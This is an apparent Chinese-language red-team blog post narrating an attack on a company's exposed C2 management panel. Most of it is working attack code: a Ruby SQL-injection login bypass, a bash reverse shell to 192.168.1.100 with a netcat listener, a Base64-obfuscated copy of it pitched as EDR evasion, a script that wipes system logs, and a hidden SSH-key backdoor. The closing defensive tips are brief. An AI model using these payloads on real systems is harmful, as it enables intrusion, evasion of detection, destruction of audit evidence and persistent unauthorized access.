一、一次针对企业C2基础设施的真实攻防案例

前不久,我看到一则新闻,某科技公司因内部网络被攻击导致核心源代码泄露。攻击者不仅成功绕过了防火墙,还利用了企业内部的C2(Command and Control)基础设施,展开进一步的横向渗透和数据窃取。这让我想到了之前在一次红队攻防演练中,我们针对目标企业自建的C2基础设施进行的攻击。今天就分享一下当时的完整攻击链,包括漏洞利用、横向移动、权限提升和痕迹清除。

攻防中,C2基础设施不仅是攻防的关键节点,也是红队伪装和防守方检测的主要战场。那么,如果我是攻击者,我会如何从外部渗透到内部,再通过C2对目标网络实施控制?以下就是当时攻防中使用的技术细节和思路。

---

二、突破防线:利用外部暴露服务的漏洞

在实际场景中,很多企业的C2基础设施会公开暴露部分接口,比如为了对外传输数据或远程管理,通常会运行Web管理后台或API服务,这些接口一旦被发现就可能成为攻击的突破口。

在这次案例中,我们通过目标企业的子域名扫描发现了一个暴露的C2管理后台,其域名为 c2panel.target.com。这是一个基于自定义框架开发的管理面板,初步访问时发现登录接口在 /login

接下来就是漏洞挖掘,我们的主要目标是:

  1. 绕过登录认证
  2. 获取对C2面板的控制

我们通过Fuzzing发现,这个面板在处理登录请求时,存在典型的SQL注入漏洞。以下是漏洞的利用步骤:

漏洞成因

该登录接口的后端代码直接将用户输入拼接在SQL查询中,缺乏任何过滤和参数化处理,导致可以通过构造恶意SQL语句绕过认证。伪代码如下:

<pre><code class="language-ruby"># 后端代码示例(存在漏洞) def authenticate(username, password) query = &quot;SELECT * FROM users WHERE username = &#039;#{username}&#039; AND password = &#039;#{password}&#039;&quot; result = db.execute(query) return result.any? end</code></pre>

POC代码实现

为了利用这个漏洞,我们编写了一个简单的POC脚本,使用 Ruby 的 net/http 模块来发送构造的恶意Payload。

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039;

目标URL

url = URI.parse(&quot;http://c2panel.target.com/login&quot;)

构造恶意Payload

payload = { &quot;username&quot; =&gt; &quot;&#039; OR &#039;1&#039;=&#039;1&#039;--&quot;, &quot;password&quot; =&gt; &quot;any_password&quot; }

发送POST请求

http = Net::HTTP.new(url.host, url.port) request = Net::HTTP::Post.new(url.path) request.set_form_data(payload) response = http.request(request)

输出返回结果

if response.body.include? &quot;Welcome&quot; puts &quot;[+] 成功绕过登录认证!&quot; else puts &quot;[-] 登录失败...需要调整Payload&quot; end</code></pre>

运行这段代码后,我们成功登录到C2的管理后台。

---

三、C2控制权争夺:横向渗透的关键

黑客示意图

在拿下C2面板的控制权后,我们发现后台提供了一些功能模块,比如注册新的代理节点、配置任务、上传文件等。最有意思的是其中一个“节点上线”功能,支持动态绑定新的客户端。这是我们横向移动的突破点。

黑客示意图

思路一:上传后门文件

我们利用C2面板提供的上传接口,将自定义的反向Shell脚本上传到目标内网机器上。以下是上传的Payload代码:

黑客示意图

生成反向Shell的Payload文件 <pre><code class="language-bash">#!/bin/bash

用于反弹shell到攻击者主机的Payload

bash -i &gt;&amp; /dev/tcp/192.168.1.100/4444 0&gt;&amp;1</code></pre>

将该文件命名为 revshell.sh 后,通过面板的上传功能植入到目标机器。接着,我们在自己的主机上启动监听:

<pre><code class="language-bash"># 启动监听,等待反弹连接 nc -lvp 4444</code></pre>

当Payload文件被执行时,我们成功接管了目标机器的Shell。

---

四、“隐身术”:免杀绕过EDR的技巧

现代企业的防御日益严密,EDR(终端检测与响应)和防病毒软件在目标主机上的监视可能会让恶意Payload暴露。为了规避这些检测,我们对反向Shell脚本进行了混淆处理,并使用了动态内存加载技术。

以下是Ruby实现的一个混淆版本:

<pre><code class="language-ruby">encoded_payload = &quot;YmFzaCAtaiAmPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwMC80NDQ0IDA+JjE=&quot; # Base64编码的Payload decoded_payload = Base64.decode64(encoded_payload)

使用Ruby的系统命令执行Payload

system(decoded_payload)</code></pre>

通过这种Base64编码和动态解码执行的方式,Payload可以绕过大多数静态分析工具。

---

五、经验之谈:痕迹清除并保持权限

在红队的攻防实践中,痕迹清除和权限维持是极其重要的一环。一旦目标系统被攻破,如果没有清除日志和后门设置,很容易被防御者发现。

清除日志

以下是一个用于快速清理Linux系统日志的Shell脚本:

<pre><code class="language-bash">#!/bin/bash

清理常见日志文件

&gt; /var/log/auth.log &gt; /var/log/syslog &gt; /var/log/messages

echo &quot;[+] 日志清理完成!&quot;</code></pre>

设置后门

为了后续能够随时重新进入目标系统,我们在目标主机上设置了一个隐藏的SSH后门:

<pre><code class="language-bash"># 生成后门公私钥对 ssh-keygen -t rsa -b 2048 -f /tmp/hidden_key -N &quot;&quot; cat /tmp/hidden_key.pub &gt;&gt; ~/.ssh/authorized_keys</code></pre>

通过这种方式,即使目标机器的管理员更改了密码,我们仍然能够通过SSH访问。

---

六、总结与反思

这次攻防案例中,我深刻体会到,企业自建的C2基础设施往往是攻防的核心。攻击者可以利用其暴露的服务接口进行渗透,而防守方需要更加注重对C2的安全加固,比如对外接口的权限管理、日志监控和异常检测。

最后的建议:

  1. 不要随意暴露C2的管理接口,建议设置白名单IP访问;
  2. 对登录模块严格进行输入过滤,避免SQL注入;
  3. 定期审计C2的日志,检查是否有异常行为。

攻防对抗永远是攻防双方智慧的博弈,作为红队成员,我们的目标是发现漏洞并帮助企业修补,而不是制造损害。希望这些实战经验能对你有所启发。